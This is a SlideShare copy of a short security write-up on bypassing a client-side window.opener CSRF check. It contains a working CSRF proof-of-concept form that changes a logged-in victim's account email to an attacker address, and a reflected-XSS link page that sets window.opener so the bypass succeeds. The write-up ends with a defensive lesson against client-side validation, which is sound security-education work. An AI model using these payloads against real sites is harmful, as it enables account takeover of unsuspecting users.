SlideShare a Scribd company logo
| Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 1
Abusing Windows Opener to Bypass CSRF
Protection
(Never Relay On Client Side)
Narendra Bhati
@NarendraBhatiB
http://websecgeeks.com
| Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 2
Contents
1. Abstract..........................................................................................................................................................3
2. Introduction ................................................................................................................................................3
3. Analysis..........................................................................................................................................................4
4. Exploiting .....................................................................................................................................................6
5. Conclusion....................................................................................................................................................7
| Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 3
1. Abstract
Due to the increase in use of Modern Web Application, Security is the main concern. For
security the developer mostly relay on Client Side Validation Mechanism. Those security
features makes web application more flexible and perform better but it comes with great
cost.
The client side validation is easy to bypass so 70% of web applications are vulnerable due
client side validation mechanism.
While I was working on a Web Application, I came across to an interesting security
mechanism which prevent the CSRF Attack.
2. Introduction
If we are talking about CSRF Protection, Then basically we think about 3 Fixes.
1) Referrer Check
2) Random Tokens Form Based
3) Cookie Based Random Tokens
Now the CSRF protection which I am talking about right now was deployed by using a
JavaScript Code, Which was totally on client side due to JavaScript nature.
| Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 4
3. Analysis
As we can see the HTTP Header
POST /home/accountsettings HTTP/1.1
Host: websecgeeks.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101
Firefox/36.0
Referer: http://websecgeeks.com/
Connection: keep-alive
Content-Length: 57
newemail=attacker@something.com&Submit=Save
We can say that this code might be vulnerable to CSRF, as there is no Random Tokens exist. So I
tried to test it by creating an html page like this
<html>
<body>
<form action=”http://websecgeeks.com/home/accountsettings” method=”POST”>
<input type=”hidden” name=”newemail” value=”attacker@attacker.com” />
<input type=”hidden” name=”Submit” value=”Save” />
<input type=”submit” value=”Submit form” />
</form>
</body>
</html>
But when I execute this page in an authenticated session, the application logged out me
immediately. I tried one more time and again the application logged out me.
May be this application is validating the Referrer Value, so I manually added valid
referrer value. But Application logged me out again.
| Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 5
After some time I found an interesting JavaScript Code which was reason behind this
protection.
The Code Was Like Below
<script>
if(window.opener ==null){
top.location.href=”/homedirectory/logoutuser”;
}
</script>
As we can see the code, we can clearly say that this code is looking for a windows opener
value. If the opener value is equal to "null" then application will simply logged us out
and terminate the session, which was very pretty if we talk about CSRF.
According to Windows Opener Description.
When a window is opened from another window, it maintains a reference to that first
window as window.opener. If the current window has no opener, this method returns
NULL. Windows Phone browser does not support window.opener. It is also not
supported in IE if the opener is in a different security zone.
Now anyhow we have to set the windows opener value to while doing CSRF attack.
| Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 6
4. Exploiting
After analysis, I found a way from where we can create an Opener Value which is HREF
HTML Tag.
So I created two pages
1) xss.php
2) csrf3.html
1) Both pages are hosted on attacker web server, Currently assume as “localhost”
"xss.php" is the page where I create a HREF link to the "csrf3.html"
“xss.php” is passing a parameter called “zip” as GET method. Basically I keep the “zip”
as un-filtered, so whatever you inject in this, will display on page as it as. So I injected
the HREF TAG as Below
<a href="http://127.0.0.1/csrf3.html">Link For Target Application</a>
2) The second csrf3.html page will be like this as we seen in previous.
<html>
<body>
<form action=”http://websecgeeks.com/home/accountsettings”
method=”POST”>
<input type=”hidden” name=”newemail” value=”attacker@attacker.com”
/>
<input type=”hidden” name=”Submit” value=”Save” />
<input type=”submit” value=”Submit form” />
</form>
</body>
</html>
And final URL which should be sent to victim is
http://127.0.0.1/xss.php?zip=<a href="http://127.0.0.1/csrf3.html">Link For Target
Application</a>
| Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 7
Below you can see the screen shot.
3. Now I am set. After clicking the Link given as HREF tag, I was able to open a new
page in new tab without getting logout, and also able to Bypass the CSRF Security.
5. Conclusion
As we already know that client side security is not a good idea. After this demonstration we can say
that creating new idea about preventing web application attacks is pretty good, but it is important
that how we implement them.

More Related Content

What's hot (20)

PDF
Top 10 Security Vulnerabilities (2006)
Susam Pal
 
PDF
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
ODP
Security In PHP Applications
Aditya Mooley
 
PPT
Same Origin Policy Weaknesses
kuza55
 
PDF
OAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
Antonio Sanso
 
PPT
Static Analysis: The Art of Fighting without Fighting
Rob Ragan
 
PPT
Django (Web Applications that are Secure by Default)
Kishor Kumar
 
PPTX
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
lokeshpidawekar
 
PDF
APIDOC In A Nutshell
Ben Liu
 
PDF
Hunting for security bugs in AEM webapps
Mikhail Egorov
 
PPTX
Threat Hunting Web Shells Using Splunk
jamesmbower
 
PPT
Filter Evasion: Houdini on the Wire
Rob Ragan
 
DOCX
Web-servers & Application Hacking
Raghav Bisht
 
PPT
Examining And Bypassing The IE8 XSS Filter
kuza55
 
PPTX
Hack and Slash: Secure Coding
Prathan Phongthiproek
 
PDF
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Ivan Ortega
 
PDF
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
bugcrowd
 
PPTX
MITM Attacks on HTTPS: Another Perspective
GreenD0g
 
PPTX
Writing automation tests with python selenium behave pageobjects
Leticia Rss
 
Top 10 Security Vulnerabilities (2006)
Susam Pal
 
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
Security In PHP Applications
Aditya Mooley
 
Same Origin Policy Weaknesses
kuza55
 
OAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
Antonio Sanso
 
Static Analysis: The Art of Fighting without Fighting
Rob Ragan
 
Django (Web Applications that are Secure by Default)
Kishor Kumar
 
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
lokeshpidawekar
 
APIDOC In A Nutshell
Ben Liu
 
Hunting for security bugs in AEM webapps
Mikhail Egorov
 
Threat Hunting Web Shells Using Splunk
jamesmbower
 
Filter Evasion: Houdini on the Wire
Rob Ragan
 
Web-servers & Application Hacking
Raghav Bisht
 
Examining And Bypassing The IE8 XSS Filter
kuza55
 
Hack and Slash: Secure Coding
Prathan Phongthiproek
 
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Ivan Ortega
 
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
bugcrowd
 
MITM Attacks on HTTPS: Another Perspective
GreenD0g
 
Writing automation tests with python selenium behave pageobjects
Leticia Rss
 

Viewers also liked (16)

PPTX
Introducción al cómputo en la nube
Dave Rendón
 
PDF
LHW Scope of work
Altaf Sonia
 
PDF
4 Symphonies
Roger Jivers
 
PDF
new doc 8 (1)
Satya Sekhar Medidi
 
DOCX
Tpartes del teclado
berenbhj
 
PPTX
Hiperbola
Omar Cerezo Ponce
 
PDF
Acuerdo no. ca 002 2010
cooperativonuevomuzu
 
PDF
Eminent company&amp;products profile -total
莲花 怡出
 
PDF
Building and Maintaining Open Source Project - YWC14
Akarawuth Tamrareang
 
PDF
Emergency procedure at height
MECandPMV
 
PPTX
Família- Sociologia 12ºAno
turma12d
 
PPTX
Tecnica e instrumento de evaluacion
Luisa Genao
 
PPTX
सत्र ३-४ सुशासन
INGENAES
 
PDF
Sunqu Catálogo Perfiles
SUNQU
 
DOCX
Escala likert randall corrales montoya
MCMurray
 
Introducción al cómputo en la nube
Dave Rendón
 
LHW Scope of work
Altaf Sonia
 
4 Symphonies
Roger Jivers
 
new doc 8 (1)
Satya Sekhar Medidi
 
Tpartes del teclado
berenbhj
 
Acuerdo no. ca 002 2010
cooperativonuevomuzu
 
Eminent company&amp;products profile -total
莲花 怡出
 
Building and Maintaining Open Source Project - YWC14
Akarawuth Tamrareang
 
Emergency procedure at height
MECandPMV
 
Família- Sociologia 12ºAno
turma12d
 
Tecnica e instrumento de evaluacion
Luisa Genao
 
सत्र ३-४ सुशासन
INGENAES
 
Sunqu Catálogo Perfiles
SUNQU
 
Escala likert randall corrales montoya
MCMurray
 
Ad

Similar to Abusing Windows Opener To Bypass CSRF Protection (20)

DOCX
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
Samvel Gevorgyan
 
PPT
Logical Attacks(Vulnerability Research)
Ajay Negi
 
PDF
Owasp top 10 web application security hazards part 2
Abhinav Sejpal
 
PPT
CSRF_RSA_2008_Jeremiah_Grossman
guestdb261a
 
PPT
DEFCON 17 Presentation: CSRF - Yeah, It Still Works
Russ McRee
 
PDF
Cross-site request forgery (also known as CSRF) is a web vulnerability that a...
Varun Mithran
 
PDF
Understanding CSRF
Potato
 
PPTX
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Nilesh Sapariya
 
PPT
Owasp Top 10 - Owasp Pune Chapter - January 2008
abhijitapatil
 
PPTX
PENETRATION TEST ( CLIENT-SIDE ) CSRF / CORS MISCONFIGURATION
Tadj Youssouf
 
PDF
4 andrii kudiurov - web application security 101
Ievgenii Katsan
 
PDF
Web security: OWASP project, CSRF threat and solutions
Fabio Lombardi
 
PPTX
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Magno Logan
 
PPTX
Hackazon realistic e-commerce Hack platform
Ihor Uzhvenko
 
PPT
Web Apps Security
Victor Bucutea
 
KEY
Advanced CSRF and Stateless Anti-CSRF
johnwilander
 
PPT
Cross Site Request Forgery
Tony Bibbs
 
PDF
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
michelemanzotti
 
PDF
Ajax Security
Joe Walker
 
PDF
OWASP TOP 10 by Team xbios
Vi Vek
 
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
Samvel Gevorgyan
 
Logical Attacks(Vulnerability Research)
Ajay Negi
 
Owasp top 10 web application security hazards part 2
Abhinav Sejpal
 
CSRF_RSA_2008_Jeremiah_Grossman
guestdb261a
 
DEFCON 17 Presentation: CSRF - Yeah, It Still Works
Russ McRee
 
Cross-site request forgery (also known as CSRF) is a web vulnerability that a...
Varun Mithran
 
Understanding CSRF
Potato
 
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Nilesh Sapariya
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
abhijitapatil
 
PENETRATION TEST ( CLIENT-SIDE ) CSRF / CORS MISCONFIGURATION
Tadj Youssouf
 
4 andrii kudiurov - web application security 101
Ievgenii Katsan
 
Web security: OWASP project, CSRF threat and solutions
Fabio Lombardi
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Magno Logan
 
Hackazon realistic e-commerce Hack platform
Ihor Uzhvenko
 
Web Apps Security
Victor Bucutea
 
Advanced CSRF and Stateless Anti-CSRF
johnwilander
 
Cross Site Request Forgery
Tony Bibbs
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
michelemanzotti
 
Ajax Security
Joe Walker
 
OWASP TOP 10 by Team xbios
Vi Vek
 
Ad

Recently uploaded (20)

PPTX
Building a Production-Ready Barts Health Secure Data Environment Tooling, Acc...
Barts Health
 
PPTX
AUTOMATION AND ROBOTICS IN PHARMA INDUSTRY.pptx
sameeraaabegumm
 
PDF
Blockchain Transactions Explained For Everyone
CIFDAQ
 
PPTX
OpenID AuthZEN - Analyst Briefing July 2025
David Brossard
 
PDF
Presentation - Vibe Coding The Future of Tech
yanuarsinggih1
 
PDF
LLMs.txt: Easily Control How AI Crawls Your Site
Keploy
 
PDF
Wojciech Ciemski for Top Cyber News MAGAZINE. June 2025
Dr. Ludmila Morozova-Buss
 
PDF
SFWelly Summer 25 Release Highlights July 2025
Anna Loughnan Colquhoun
 
PDF
HubSpot Main Hub: A Unified Growth Platform
Jaswinder Singh
 
PDF
DevBcn - Building 10x Organizations Using Modern Productivity Metrics
Justin Reock
 
PPTX
WooCommerce Workshop: Bring Your Laptop
Laura Hartwig
 
PDF
New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
PDF
Building Resilience with Digital Twins : Lessons from Korea
SANGHEE SHIN
 
PDF
Persuasive AI: risks and opportunities in the age of digital debate
Speck&Tech
 
PPTX
Top iOS App Development Company in the USA for Innovative Apps
SynapseIndia
 
PDF
Impact of IEEE Computer Society in Advancing Emerging Technologies including ...
Hironori Washizaki
 
PDF
Fl Studio 24.2.2 Build 4597 Crack for Windows Free Download 2025
faizk77g
 
PPT
Interview paper part 3, It is based on Interview Prep
SoumyadeepGhosh39
 
PDF
Complete Network Protection with Real-Time Security
L4RGINDIA
 
PDF
Human-centred design in online workplace learning and relationship to engagem...
Tracy Tang
 
Building a Production-Ready Barts Health Secure Data Environment Tooling, Acc...
Barts Health
 
AUTOMATION AND ROBOTICS IN PHARMA INDUSTRY.pptx
sameeraaabegumm
 
Blockchain Transactions Explained For Everyone
CIFDAQ
 
OpenID AuthZEN - Analyst Briefing July 2025
David Brossard
 
Presentation - Vibe Coding The Future of Tech
yanuarsinggih1
 
LLMs.txt: Easily Control How AI Crawls Your Site
Keploy
 
Wojciech Ciemski for Top Cyber News MAGAZINE. June 2025
Dr. Ludmila Morozova-Buss
 
SFWelly Summer 25 Release Highlights July 2025
Anna Loughnan Colquhoun
 
HubSpot Main Hub: A Unified Growth Platform
Jaswinder Singh
 
DevBcn - Building 10x Organizations Using Modern Productivity Metrics
Justin Reock
 
WooCommerce Workshop: Bring Your Laptop
Laura Hartwig
 
New from BookNet Canada for 2025: BNC BiblioShare - Tech Forum 2025
BookNet Canada
 
Building Resilience with Digital Twins : Lessons from Korea
SANGHEE SHIN
 
Persuasive AI: risks and opportunities in the age of digital debate
Speck&Tech
 
Top iOS App Development Company in the USA for Innovative Apps
SynapseIndia
 
Impact of IEEE Computer Society in Advancing Emerging Technologies including ...
Hironori Washizaki
 
Fl Studio 24.2.2 Build 4597 Crack for Windows Free Download 2025
faizk77g
 
Interview paper part 3, It is based on Interview Prep
SoumyadeepGhosh39
 
Complete Network Protection with Real-Time Security
L4RGINDIA
 
Human-centred design in online workplace learning and relationship to engagem...
Tracy Tang
 

Abusing Windows Opener To Bypass CSRF Protection

  • 1. | Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 1 Abusing Windows Opener to Bypass CSRF Protection (Never Relay On Client Side) Narendra Bhati @NarendraBhatiB http://websecgeeks.com
  • 2. | Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 2 Contents 1. Abstract..........................................................................................................................................................3 2. Introduction ................................................................................................................................................3 3. Analysis..........................................................................................................................................................4 4. Exploiting .....................................................................................................................................................6 5. Conclusion....................................................................................................................................................7
  • 3. | Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 3 1. Abstract Due to the increase in use of Modern Web Application, Security is the main concern. For security the developer mostly relay on Client Side Validation Mechanism. Those security features makes web application more flexible and perform better but it comes with great cost. The client side validation is easy to bypass so 70% of web applications are vulnerable due client side validation mechanism. While I was working on a Web Application, I came across to an interesting security mechanism which prevent the CSRF Attack. 2. Introduction If we are talking about CSRF Protection, Then basically we think about 3 Fixes. 1) Referrer Check 2) Random Tokens Form Based 3) Cookie Based Random Tokens Now the CSRF protection which I am talking about right now was deployed by using a JavaScript Code, Which was totally on client side due to JavaScript nature.
  • 4. | Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 4 3. Analysis As we can see the HTTP Header POST /home/accountsettings HTTP/1.1 Host: websecgeeks.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Referer: http://websecgeeks.com/ Connection: keep-alive Content-Length: 57 [email protected]&Submit=Save We can say that this code might be vulnerable to CSRF, as there is no Random Tokens exist. So I tried to test it by creating an html page like this <html> <body> <form action=”http://websecgeeks.com/home/accountsettings” method=”POST”> <input type=”hidden” name=”newemail” value=”[email protected]” /> <input type=”hidden” name=”Submit” value=”Save” /> <input type=”submit” value=”Submit form” /> </form> </body> </html> But when I execute this page in an authenticated session, the application logged out me immediately. I tried one more time and again the application logged out me. May be this application is validating the Referrer Value, so I manually added valid referrer value. But Application logged me out again.
  • 5. | Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 5 After some time I found an interesting JavaScript Code which was reason behind this protection. The Code Was Like Below <script> if(window.opener ==null){ top.location.href=”/homedirectory/logoutuser”; } </script> As we can see the code, we can clearly say that this code is looking for a windows opener value. If the opener value is equal to "null" then application will simply logged us out and terminate the session, which was very pretty if we talk about CSRF. According to Windows Opener Description. When a window is opened from another window, it maintains a reference to that first window as window.opener. If the current window has no opener, this method returns NULL. Windows Phone browser does not support window.opener. It is also not supported in IE if the opener is in a different security zone. Now anyhow we have to set the windows opener value to while doing CSRF attack.
  • 6. | Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 6 4. Exploiting After analysis, I found a way from where we can create an Opener Value which is HREF HTML Tag. So I created two pages 1) xss.php 2) csrf3.html 1) Both pages are hosted on attacker web server, Currently assume as “localhost” "xss.php" is the page where I create a HREF link to the "csrf3.html" “xss.php” is passing a parameter called “zip” as GET method. Basically I keep the “zip” as un-filtered, so whatever you inject in this, will display on page as it as. So I injected the HREF TAG as Below <a href="http://127.0.0.1/csrf3.html">Link For Target Application</a> 2) The second csrf3.html page will be like this as we seen in previous. <html> <body> <form action=”http://websecgeeks.com/home/accountsettings” method=”POST”> <input type=”hidden” name=”newemail” value=”[email protected]” /> <input type=”hidden” name=”Submit” value=”Save” /> <input type=”submit” value=”Submit form” /> </form> </body> </html> And final URL which should be sent to victim is http://127.0.0.1/xss.php?zip=<a href="http://127.0.0.1/csrf3.html">Link For Target Application</a>
  • 7. | Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 7 Below you can see the screen shot. 3. Now I am set. After clicking the Link given as HREF tag, I was able to open a new page in new tab without getting logout, and also able to Bypass the CSRF Security. 5. Conclusion As we already know that client side security is not a good idea. After this demonstration we can say that creating new idea about preventing web application attacks is pretty good, but it is important that how we implement them.